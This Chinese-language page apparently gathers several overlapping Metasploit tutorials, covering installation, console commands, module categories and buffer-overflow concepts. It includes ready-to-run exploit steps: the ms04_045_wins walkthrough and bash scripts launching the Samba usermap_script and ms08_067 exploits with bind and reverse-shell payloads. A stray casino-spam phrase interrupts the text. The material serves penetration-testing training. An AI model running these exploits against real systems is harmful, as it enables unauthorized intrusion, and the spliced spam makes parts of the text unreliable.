metasploit开发使用详细解析

合集下载

Metasploit详解详细图文教程

Metasploit详解详细图文教程

Metasploit详解详细图文教程1. 一、metasploit简介Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。

Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。

它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。

这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。

它集成了各平台上常见的溢出漏洞和流行的shellcode ,并且不断更新。

目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。

当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。

其核心中一小部分由汇编和C语言实现,其余由ruby实现。

不建议修改汇编和C语言部分。

1. 二、搭建metasploit环境Windows环境下安装。

从官方网站/下载windows版本的安装版,直接安装即可。

安装的版本是3.5.1。

安装时需要注意以下两点:1. 在安装的时候要关闭杀毒软件。

否则的话会导致杀毒软件和metasploit冲突,导致安装失败。

2. 在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中选择英文(美国)。

因为在安装的时候,会进行检测,如果属于非英文地区会导致安装失败。

如果安装有杀毒软件,会经常提示在metasploit的安装目录下检测到病毒或木马。

Linux下环境下安装。

官方网站提供了两种Linux下的安装方式,一种是打包好的metasploit安装包,如framework-3.5.1-linux-i686.run,里面包含了安装所需要的各种包,下载后直接在电脑上安装即可。

Metasploit的使用方法概述

Metasploit的使用方法概述

Metasploit 包含了n多种exploit和payload每一种都说一遍没有必要这里说说使用Metasploit的思路。

先说一下Metasploit的使用基本步骤:先对目标进行扫描,根据扫描出来的信息查找可利用的exploits,设置参数,然后攻击。

Metasploit 几乎包含了渗透测试中所有用到的工具,很全面,每一种工具都有其对应的使用环境,就是说针对性比较强。

渗透测试可以分为七个阶段(Metasploit指南上说的),本文更具这七个阶段来说说每个阶段中可以Metasploit的哪些功能,有些阶段用不到Metasploit。

这七个阶段分别是前期交互阶段,情报搜集阶段,威胁建模阶段,漏洞分析阶段,渗透攻击阶段,后攻击阶段,书写渗透报告阶段。

第一个阶段:前期交互阶段,这一阶段主要是和客户进行讨论,来确定渗透测试的目的和范围,不涉及到Metasploit,就不多说了。

第二个阶段:情报搜集阶段,这一阶段主要是尽可能多的收集目标的各种信息。

这里主要用到Msf 里auxiliary里边的modules,这里的modules都是些渗透前期的辅助工具。

一般的收集信息可以使用whois(这个是linux自带的),db_nmap(这个是Msf的一个插件),如果要使用到其他的一些收集信息的方法,比如使用syn(一种不建立头层皮连接的扫描)扫描,可以在msfconsole里边search syn 然后根据返回结果来确定使用哪个模块。

search syn 返回结果为:msf > search synMatching Modules================Name Disclosure Date Rank Description---- --------------- ---- -----------auxiliary/dos/tcp/synflood normal TCP SYN Flooderauxiliary/scanner/ip/ipidseq normal IPID Sequence Scannerauxiliary/scanner/portscan/syn normal TCP SYN Port Scannerauxiliary/scanner/rogue/rogue_send normal Rogue Gateway Detection: Senderexploit/multi/http/vbseo_proc_deutf 2012-01-23 excellent vBSEO <= 3.6.0 proc_deutf() Remote PHP Code Injectionexploit/windows/ftp/aasync_list_reply 2010-10-12 good AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)exploit/windows/ftp/ftpsynch_list_reply 2010-10-12 good FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflowexploit/windows/misc/ms07_064_sami 2007-12-11 normal Microsoft DirectX DirectShow SAMI Buffer Overflowexploit/windows/tftp/attftp_long_filename 2006-11-27 average Allied Telesyn TFTP Server 1.9 Long Filename Overflowpost/windows/gather/apple_ios_backup normal Windows Gather Apple iOS MobileSync Backup File Collection澳门银河赌场可以看出前几个是辅助模块中包含syn信息的,后几个是攻击模块,其中auxiliary/scanner/portscan/syn 这一条就是要用到的syn 扫描moduls。

kali中msf的使用方法_概述及解释说明

kali中msf的使用方法_概述及解释说明

kali中msf的使用方法概述及解释说明1. 引言1.1 概述本文旨在介绍和解释Kali中Metasploit框架(MSF)的使用方法。

Metasploit 框架是一个功能强大且广泛应用于渗透测试和漏洞利用的工具集合,它可以帮助安全专业人员评估和加固网络系统的安全性。

通过学习和掌握MSF的使用方法,用户可以更好地了解渗透测试过程中的技术原理、操作步骤以及实战案例。

1.2 文章结构本文按照以下结构展开:- 引言部分对文章进行概述,并介绍本文主要内容;- Kali中MSF的使用方法一节介绍了MSF的简介、Kali Linux的概述以及如何配置Kali环境;- MSF基本操作一节详细介绍了安装Metasploit框架、掌握基本命令和模块以及创建和执行Exploit攻击载荷的步骤;- MSF高级技巧与实战案例研究一节讨论了渗透测试初探与准备工作,常用Payloads及其使用场景解析,以及运用MSF进行网络渗透攻击的步骤和策略分析;- 结论与总结一节总结了MSF在渗透测试中的重要性和应用价值,并进行了未来发展趋势和技术挑战问题的分析,并提出了进一步研究方向和建议。

1.3 目的本文的目的是为读者提供一个全面且实用的指南,帮助其了解和掌握Kali中Metasploit框架的使用方法。

通过学习MSF基础知识、操作技巧以及深入探讨高级应用与实战案例,读者将能够更加熟悉渗透测试过程中涉及的工具和策略,从而提升网络系统安全性评估和防护能力。

2. Kali中MSF的使用方法:2.1 MSF简介:Metasploit Framework(简称MSF)是一款广泛应用于渗透测试和漏洞利用的开源工具。

它由Rapid7公司开发并维护,提供了大量的渗透测试和漏洞利用模块,以及丰富的exploit payload和shellcode库。

2.2 Kali Linux概述:Kali Linux是一款基于Debian构建的流行渗透测试操作系统。

Metasploit使用教程

Metasploit使用教程

Metasploit使用教程Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。

安装完之后看下安装目录下的Msfconsole.bat 和msfweb.bat,第一个是命令下的控制台。

第二个是图形界面下的程序。

现在我们先来看下命令行下的使用方法,运行后我们看到的是metasploit的欢迎界面,输入“?”查看帮助,如图1看到很多命令吧,我们来解释一下“?” 帮助“cd” :这个命令大家都熟悉,和WIN下面一样,切换目录“exit” 这个就是退出的意思“info”显示当前程序信息“quit”退出程序“reload”加载exploit和payloads“save”保存设置“setg”设置一个环境变量“show”显示当前可用的exploit“ use”选择一个exp“version”显示程序版本这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。

这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。

这就得用到info命令啦。

这个命令就是显示溢出程序的详细信息,比如我们想看下iis50_webdav_ntdll这个溢出程序的用法,就在命令行下输入info exploitiis50_webdav_ntdll,就会看到图3所示这里只是查看Exploit的信息,我们还可查看shellcode的信息。

在这个工具包中,可以定义自己需要的shellcode.在命令行下输入"show payloads"可以看到可用的shellcode列表,如图4左边是名字,右边是说明。

04NessusNexponseMetasploit使用介绍

04NessusNexponseMetasploit使用介绍
功能程序 用户除了使用接口访问Metasploit框架主体功能之外,MetaSploit还提 供了一系列可直接运行的功能程序,支持渗透测试者与安全研究人员快 速地利用Metasploit框架内部能力完成一些特定任务。比如msfpayload
、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、
Metasploit使用介绍
MSF辅助模块
以辅助模块扫描插件的dir_scanner为例探测:
Metasploit使用介绍
MSF辅助模块
以辅助模块扫描插件的udp_sweep发送UDP数据包探查指定主机是否活跃
,并发现主机上的UDP服务。
Metasploit使用介绍
Metasploit使用介绍
MSF渗透攻击模块
渗透攻击exploits模块简单的讲就是针对不同的已知漏洞的利用程序。
当我们执行show exploits命令后,显示4列,分别为exploit名称、等 级(rank)、时间、描述。 exploit的命名规则:
- 操作系统/服务/模块名称,例如windows/vnc/realvnc_client
Metasploit使用介绍
MSF用户接口之msfconsole Linux Metasploitable靶机环境samba网络服务的usermap_script安全 漏洞利用示例: - msf> search samba
- msf> use multi/samba/usermap_script
件,为Metasploit开发者进行框架和模块开发提供了一些基础功能的支
持,如包装的网络套接字、网络应用协议客户端和服务端实现、日志子 系统、渗透攻击支持例程、PostgreSQL及MySQL数据库支持。

Metasploit详解详细图文教程

Metasploit详解详细图文教程

Metasploit详解详细图文教程Metasploit是最流行的渗透测试框架之一,用于发现和利用安全漏洞。

它提供了一套完整的工具和资源,帮助安全专业人员评估网络系统的安全性。

本文将为你提供Metasploit的详细图文教程,帮助你了解Metasploit的基本概念和使用方法。

第一部分:概述第二部分:安装和配置2. 安装Metasploit:根据你的操作系统,选择适合的安装程序,并按照提示进行安装。

安装过程可能需要一些时间和磁盘空间。

3. 启动Metasploit:安装完成后,你可以在命令行终端或图形化界面中启动Metasploit。

第三部分:基本用法1. 扫描目标系统:使用Nmap等工具扫描目标系统,获取系统的开放端口和服务。

2. 选择exploit:根据目标系统的漏洞和发现的服务,选择适合的exploit模块。

exploit模块是用于利用系统漏洞的代码。

3. 配置exploit:根据目标系统的信息和漏洞的要求,配置exploit 模块。

例如,指定目标系统的IP地址或域名。

4. 执行exploit:运行exploit模块,攻击目标系统。

如果漏洞成功利用,你将获取对目标系统的访问权限。

5.探索目标系统:一旦获得对目标系统的访问权限,你可以进一步探索目标系统,并收集敏感信息。

第四部分:深入了解1. Payloads:在Metasploit中,Payload是一段代码,用于在目标系统上执行特定操作。

常见的Payload包括命令Shell、远程Shell和Meterpreter等。

2. Meterpreter:Meterpreter是Metasploit中最常用的Payload 之一,它提供了灵活的远程访问和控制目标系统的功能。

3. 主机和目标:在Metasploit中,主机是指运行Metasploit框架的系统,而目标是指你试图攻击的系统。

4. 模块:Metasploit提供了各种模块,用于系统发现、漏洞利用、远程控制等任务。

msf使用方法

msf使用方法MSF使用指南什么是MSF?Metasploit Framework(MSF)是一款广泛使用的渗透测试工具,由Rapid7公司开发。

它提供了一系列模块和工具,可用于发现、评估和漏洞利用。

本文将详细介绍MSF的各种方法和用途。

安装与配置1.在[Metasploit官方网站]( Framework。

2.运行安装程序,并按照提示进行安装。

确保选择正确的操作系统和版本。

3.安装完成后,打开终端,输入msfconsole命令,启动MSF控制台。

4.初次运行时,MSF会自动安装依赖库和更新,耐心等待安装完成。

模块分类与使用1. 信息收集模块•nmap:用于扫描目标主机的端口和服务信息。

•enum_dns:用于枚举目标主机的DNS信息。

•auxiliary/scanner/snmp/snmp_enum:用于枚举目标主机的SNMP服务信息。

2. 漏洞利用模块•exploit:用于利用目标主机上的已知漏洞进行攻击。

•multi/handler:用于监听并处理来自攻击者的连接。

3. 社会工程学模块•msfvenom:用于生成各种类型的恶意软件载荷。

•social_engineering:用于进行各种社会工程学攻击,如钓鱼攻击、密码破解等。

4. 后渗透模块•post/windows/gather/hashdump:用于获取目标Windows主机上的密码哈希。

•post/multi/gather/screenshot:用于获取目标主机的屏幕截图。

使用示例1. 端口扫描use nmapset RHOSTS <目标IP>run2. 漏洞利用利用已知漏洞use exploit/<漏洞模块>set RHOSTS <目标IP>run生成恶意软件载荷use msfvenomset PAYLOAD <payload类型>set LHOST <本地IP>set LPORT <本地端口>generate -f <格式> -o <输出文件>3. 社会工程学攻击use social_engineeringset PAYLOAD <payload类型>set VICTIM_EMAIL <目标邮箱>run4. 后渗透获取密码哈希use post/windows/gather/hashdump set SESSION <会话ID>run获取屏幕截图use post/multi/gather/screenshotset SESSION <会话ID>run总结本文介绍了Metasploit Framework的安装与配置过程,并详细说明了各种模块的用途和使用示例。

msf(metasploit)的更新及使用

msf(metasploit)的更新及使用MSF(Metasploit)是一款开源的渗透测试工具和漏洞利用框架,广泛用于网络安全领域。

它可以帮助安全专家和研究人员挖掘系统的安全漏洞,并能实施攻击和利用这些漏洞。

本文将介绍MSF的更新与使用,包括安装、配置、利用漏洞等方面。

一、MSF的安装与配置要使用MSF,首先需要在系统中安装Ruby和Git。

之后,可以通过Git将Metasploit的源代码克隆到本地。

1. 安装Ruby和Git:在Linux系统中,可以使用以下命令安装Ruby 和Git:```sudo apt-get install ruby git```2. 克隆Metasploit的源代码:使用以下命令将Metasploit源代码克隆到本地:``````3. 安装必要的依赖项:使用以下命令安装Metasploit所需的其他依赖项:```cd metasploit-frameworkbundle install```4. 配置数据库:Metasploit使用PostgreSQL作为其默认数据库。

可以使用以下命令配置和设置数据库:```sudo service postgresql startsudo msfdb init```二、MSF的更新Metasploit是一个活跃的开源社区项目,持续不断地在进行修改和更新。

通过定期更新MSF,可以获得最新的功能和漏洞利用。

1. 更新Metasploit源代码:使用以下命令进入Metasploit的源代码目录,并更新源代码:```cd metasploit-frameworkgit pull origin master```2.更新依赖项:在进行更新之后,可以使用以下命令来更新依赖项:```bundle install```三、使用MSF进行渗透测试使用Metasploit进行渗透测试需要一定的技术能力和合法授权。

在进行任何渗透测试之前,请确保已经获得了合理的授权,否则可能会违法。

Metasploit使用教程(操作实例,meterpreter,msfconsole,ms。。。

Metasploit使⽤教程(操作实例,meterpreter,msfconsole,ms。

1、控制Metasploit终端(MSFCONSOLE)MSFCONSOLE主要⽤于管理Metasploit数据库,管理会话,配置并启动Matasploit模块⼀些通⽤命令:help:该命令允许⽤户查看执⾏命令的帮助信息use module:该命令允许⽤户加载选择的模块set optionname module:该命令允许⽤户为模块设置不同的选项。

run:该命令⽤来启动⼀个⾮渗透攻击模块search module:该命令允许⽤户搜索⼀个特定的模块exit:退出MSFCONSOLE操作步骤:1)、终端启动MSFCONSOLE当出现msf>提⽰符,表⽰msfconsole启动成功2)、使⽤search命令搜索所有有效的mysql模块输出的信息显⽰为4列:模块名称,公开时间,等级、描述3)、使⽤ mysql扫描模块4)、显⽰模块的有效选项输出的信息显⽰为4列:选项名称,当前设置,需求及描述,其中Required为yes的选项是必须配置的,选项的作⽤在描述中可以了解到5)、为渗透攻击指定⽬标系统,⽤户⽂件和密码⽂件配置根据Required可以看到必须配置但是还未配置的选项有RHOSTS即⽬标主机IP其中选项USER_FILE 和PASS_FILE指定渗透的⽤户⽂件和密码⽂件,类似于爆破中的字典⽂件6)、启动渗透攻击测试出⽤户的名称和密码分别是root和password2、控制Metasploit命令⾏接⼝(MSFCLI:⼀个接⼝)但在2015年以后,Msfconsole中的-x选项代替Msfcli参考链接操作实例(利⽤CVE-2007-2447获得linux命令⾏的shell)Samba MS-RPC Shell命令注⼊漏洞编写shell脚本test.sh#!/bin/bashecho"please set RHOST IP"read -p "IP:" IPmsfconsole -x "use multi/samba/usermap_script;\set payload cmd/unix/bind_netcat;\set RHOST $IP;\run"chmod +x test.sh 给脚本执⾏权限./test.sh执⾏脚本得到shell还可以利⽤msfconsole命令⾏得到shell search CVE-2007-2447利⽤ms08_067漏洞得到win xp的shell#!/bin/bashecho"please set RHOST IP"read -p "IP:" IPmsfconsole -x "use exploit/windows/smb/ms08_067_netapi;\set payload windows/meterpreter/reverse_tcp;\set RHOST $IP;\run"3、控制Meterpreter通常作为利⽤漏洞后的攻击载荷所使⽤,攻击载荷在触发漏洞后能返回给⽤户⼀个控制通道,当获取⽬标系统上的⼀个Meterpreter连接时,⽤户必须使⽤Meterpreter传递攻击载荷。

使用Metasploit进行网络渗透测试和漏洞攻击的教程

使用Metasploit进行网络渗透测试和漏洞攻击的教程第一章:网络渗透测试的概念和重要性网络渗透测试是一种用于评估系统或应用程序安全性的方法,它模拟了黑客攻击的过程,以便发现系统中潜在的安全漏洞和薄弱点。

通过进行网络渗透测试,组织可以及早发现并修复这些漏洞,从而增强自身的安全性。

第二章:介绍Metasploit框架Metasploit是一个功能强大的开源渗透测试框架,它提供了一系列的工具和资源,帮助渗透测试人员和安全研究人员发现和利用系统中的安全漏洞。

Metasploit拥有广泛的漏洞利用模块和payloads,可以帮助用户快速进行渗透测试并获取系统的控制权限。

第三章:安装和配置Metasploit框架要使用Metasploit框架,首先需要将其安装在我们的操作系统中。

Metasploit框架可以在Windows、Linux和Mac OS等多个平台上运行。

在安装之前,我们需要先安装Ruby解释器和一些必要的依赖项,然后下载Metasploit框架的安装包,并按照提示进行安装和配置。

第四章:信息收集和扫描在进行网络渗透测试之前,我们需要对目标系统进行详细的信息收集和扫描,以便找到可利用的漏洞。

Metasploit提供了一些常用的信息收集和扫描工具,如Nmap和Nessus。

通过这些工具,我们可以获取目标系统的IP地址、开放的端口和运行的服务等信息,并对其进行漏洞扫描。

第五章:漏洞利用当我们发现了目标系统的漏洞后,就可以使用Metasploit框架提供的漏洞利用模块对其进行攻击。

Metasploit拥有大量的漏洞利用模块,包括针对操作系统、网络服务和应用程序的各种漏洞利用。

我们可以根据目标系统的信息选择合适的漏洞利用模块,并按照指引设置payload和目标参数,然后启动攻击。

第六章:权限提升和持久化一旦我们成功地获取了目标系统的控制权限,就可以进行一些提权和持久化操作,以便长期控制该系统。

Metasploit提供了一些用于提升权限和持久化的模块和技术,如UAC绕过、Hashdump 和后门程序等。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

Metasploit目录一、metasploit简介 (1)二、搭建metasploit环境 (1)三、metasploit的使用 (2)四、Metasploit攻击方法分类 (3)五、Metasploit架构 (4)六、Metasploit二次开发方法 (6)七、安全软件常用检测方法 (6)八、Metasploit反检测方法 (7)九、一般攻击的过程 (7)十、恶意软件分类 (8)十一、exploits详细解析之proftp_telnet_iac.rb (8)一、metasploit简介Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。

Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。

它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。

这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。

它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。

目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。

当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。

其核心中一小部分由汇编和C语言实现,其余由ruby实现。

不建议修改汇编和C语言部分。

二、搭建metasploit环境Windows环境下安装。

从官方网站/下载windows版本的安装版,直接安装即可。

安装的版本是3.5.1。

安装时需要注意以下两点:1在安装的时候要关闭杀毒软件。

否则的话会导致杀毒软件和metasploit冲突,导致安装失败。

2在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中选择英文(美国)。

因为在安装的时候,会进行检测,如果属于非英文地区会导致安装失败。

如果安装有杀毒软件,会经常提示在metasploit的安装目录下检测到病毒或木马。

Linux下环境下安装。

官方网站提供了两种Linux下的安装方式,一种是打包好的metasploit安装包,如framework-3.5.1-linux-i686.run,里面包含了安装所需要的各种包,下载后直接在电脑上安装即可。

安装的时候需要具有root权限。

如果装有杀毒软件,在安装的时候需要关闭杀毒软件。

另一种是源码包方式,下载到本机后自己安装。

需要事先安装各种所信赖的包,安装后需要进行一定的配置,较为麻烦。

本例使用了源码包安装方式,因为之前安装了postsql,在使用framework-3.5.1-linux-i686.run安装时会报错已经安装好了postsql数据库等。

使用windows下的metasploit时,学习到一定阶段后,感觉有些东西搞不明白,就安装了Linux 版本下的metasploit来学习。

三、metasploit的使用Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console模式,第三种是CLI(命令行)模式。

原来还提供一种WEB模式,目前已经不再支持。

目前这三种模式各有优缺点,建议在MSF console模式中使用。

在console中几乎可以使用MSF所提供的所有功能,还可以在console中执行一些其它的外部命令,如ping。

Windows下GUI启动方式。

从开始菜单——Metasploit Framework——Metaspliit GUI即可。

,如下图所示:图1:metasploit GUI启动方式其GUI模式启动后界面如图2所示:图2:metasploit GUI启动后界面Windows下console模式的启动方式与GUI方式类似,启动后界面如图3所示:图3:metasploit console启动后界面Metasploit的使用较为简单,了解其基本命令即可。

下面以console的使用方式为例说明如何使用:输入help或?可查看帮助信息。

如图4所示图4:help下面以exploit中的ms04_045_wins为例进行说明。

1 show exploits 如图5所示:图5:show exploits2 info exploit/windows/wins/ms04_045_wins 查看其描述信息。

如图6所示:图6:info3 use exploit/windows/wins/ms04_045_wins 使用此exploit。

如图7所示:图7:use4 show options 查看相应的选项,如图8所示图8:show options5 set RHOST 192.168.1.200 设置目标6 set RPORT 7777 设置端口7 set PAYLOAD generic/shell_bind_tcp 设置使用的shellcode8 exploit 执行攻击对于上面的步骤,有些并不是必须,比如第2步。

GUI界面的使用方法与其类似,并且更加简单,但有些功能可能无法使用。

在Linux上使用时,在终端上输入msfconsole即可启动终端模式。

输入msfgui即可启动GUI模式。

使用方式与windows上类似。

四、Metasploit攻击方法分类使用的版本共有635种溢出(exploit)模块,314种辅助(auxiliary)模块,215种加载(payload)模块,27种编码(encoder),8种nops。

exploits总的来说共分为两类溢出(exploit)攻击方法,即主动溢出和被动溢出。

主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对目标主机被动的监听然后获得相应的操作。

在所有的exploit中,针对windows平台的最多,比其它所有平台的总和还要多。

缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用程序中广泛存在。

利用缓冲区溢出可民导致程序运行失败、系统死机、重新启动等后,也可以利用其获得非授权指令,甚至系统特权,进而进行各种非法的操作。

在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出。

缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。

最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。

如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。

而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。

被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。

一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。

为了达到这个目的,攻击者必须达到如下的两个目标:1. 在程序的地址空间里安排适当的代码。

2. 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。

每当一个函数调用发生时,调用者会在堆栈中留下一个活动纪录,它包含了函数结束时返回的地址。

攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。

通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。

这类的缓冲区溢出被称为堆栈溢出攻击(Stack Smashing Attack),是目前最常用的缓冲区溢出攻击方式。

函数指针可以用来定位任何地址空间。

例如:“void (* foo)()”声明了一个返回值为void 的函数指针变量foo。

所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。

在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了。

它的一个攻击范例就是在Linux系统下的superprobe程序。

在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。

意思是在检验点设定“setjmp(buffer)”,用“longjmp(buffer)”来恢复检验点。

然而,如果攻击者能够进入缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。

象函数指针一样,longjmp 缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。

在metasploit中溢出模块(Exploit)共分为13种,分别是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。

其中windows下面的最多。

辅助(Auxiliary)模块共分为13种,分别是admin、client、crawler、dos、fuzzers、gather、pdf、scanner、server、sniffer、spoof、sqli、voip。

加载(payload)模块共分为13种,分别是aix、bsd、bsdi、cmd、generic、java、linux、netware、osx、php、solaris、tty、windows。

相关文档
最新文档